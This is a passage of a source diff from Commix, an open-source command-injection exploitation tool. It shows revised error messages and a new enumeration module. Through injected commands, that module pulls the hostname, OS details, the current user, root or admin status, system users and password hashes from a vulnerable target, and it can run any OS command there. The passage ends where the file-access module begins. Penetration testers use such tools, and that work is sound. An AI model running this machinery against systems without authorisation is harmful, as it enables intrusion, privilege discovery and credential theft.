warn_msg += "time-based injections because of inherent high latency time." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + perform_checks(url, http_request_method, filename) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > 2: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" + + # All injection techniques seems to be failed! + if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: + if settings.NOT_TESTABLE_PARAMETERS: + err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg += " Try to remove the option '--alter-shell'" - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' values to perform" - err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" - if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" - err_msg += "." - print(settings.print_critical_msg(err_msg)) - - logs.print_logs_notification(filename, url) - if not settings.CHECK_BOTH_OS and not menu.options.bulkfile: - # if not menu.options.bulkfile or settings.EOF: - # print(settings.SINGLE_WHITESPACE) - raise SystemExit() + err_msg = "All tested parameters do not appear to be injectable." + if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + err_msg += " if you wish to perform more tests." + if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " You can try to rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.tamper: + err_msg += " use option '--tamper'" + if not menu.options.random_agent: + if not menu.options.tamper: + err_msg += " and/or" + err_msg += " switch '--random-agent'" + err_msg += "." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + else: + logs.print_logs_notification(filename, url) + if not settings.MULTI_TARGETS: + common.show_http_error_codes() + raise SystemExit() + + except KeyboardInterrupt: + checks.user_aborted(filename, url) + # eof \ No newline at end of file diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py new file mode 100755 index 0000000000..d176097b4a --- /dev/null +++ b/src/core/injections/controller/enumeration.py @@ -0,0 +1,535 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import sys +from src.utils import logs +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Powershell's version number enumeration (for Windows OS) +""" +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd = settings.PS_VERSION + if not settings.TIME_RELATED_ATTACK and alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + ps_version = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + ps_version = "".join(str(p) for p in ps_version) + session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) + else: + ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_ps_version(ps_version, filename, _) + +""" +Hostname enumeration +""" +def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.HOSTNAME = settings.WIN_HOSTNAME + cmd = settings.HOSTNAME + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) + +""" +Retrieve system information +""" +def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS + cmd = settings.RECOGNISE_OS + if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + cmd = "cmd /c " + cmd + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_os = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_os = "".join(str(p) for p in target_os) + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if target_os: + if not settings.TIME_RELATED_ATTACK: + target_os = "".join(str(p) for p in target_os) + if settings.TARGET_OS != settings.OS.WINDOWS: + cmd = settings.DISTRO_INFO + if not settings.TIME_RELATED_ATTACK: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + distro_name = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + distro_name = "".join(str(p) for p in distro_name) + if len(distro_name) != 0: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_RECOGNISE_HP + else: + cmd = settings.RECOGNISE_HP + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_arch = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_arch = "".join(str(p) for p in target_arch) + session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) + else: + target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None + checks.print_os_info(target_os, target_arch, filename, _) + +""" +The current user enumeration +""" +def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.CURRENT_USER = settings.WIN_CURRENT_USER + cmd = settings.CURRENT_USER + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + cu_account = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cu_account = "".join(str(p) for p in cu_account) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) + else: + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) + +""" +Check if the Current user is privileged. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) + +""" +System users enumeration +""" +def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = settings.SYS_USERS + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_SYS_USERS + if settings.TIME_RELATED_ATTACK: + cmd = cmd + settings.WIN_REPLACE_WHITESPACE + if alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if not settings.TIME_RELATED_ATTACK: + cmd = checks.add_new_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + except TypeError: + sys_users = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_users = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_users = "".join(str(p) for p in sys_users) + session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + else: + sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) + +""" +System passwords enumeration +""" +def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + if sys_passes == False: + sys_passes = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) + else: + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _, alter_shell) + +""" +Single os-shell execution +""" +def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATED_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_single_os_cmd(cmd, shell, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check if PowerShell is enabled. + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: + checks.ps_check() + + if menu.options.ps_version and settings.PS_ENABLED == None: + if not checks.ps_incompatible_os(): + checks.print_enumenation().ps_version_msg() + powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.is_root or menu.options.is_admin: + checks.print_enumenation().check_privs_msg() + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.users: + checks.print_enumenation().print_users_msg() + system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.passwords: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + checks.print_enumenation().print_passes_msg() + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py new file mode 100755 index 0000000000..f5e719722a --- /dev/null +++ b/src/core/injections/controller/file_access.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your 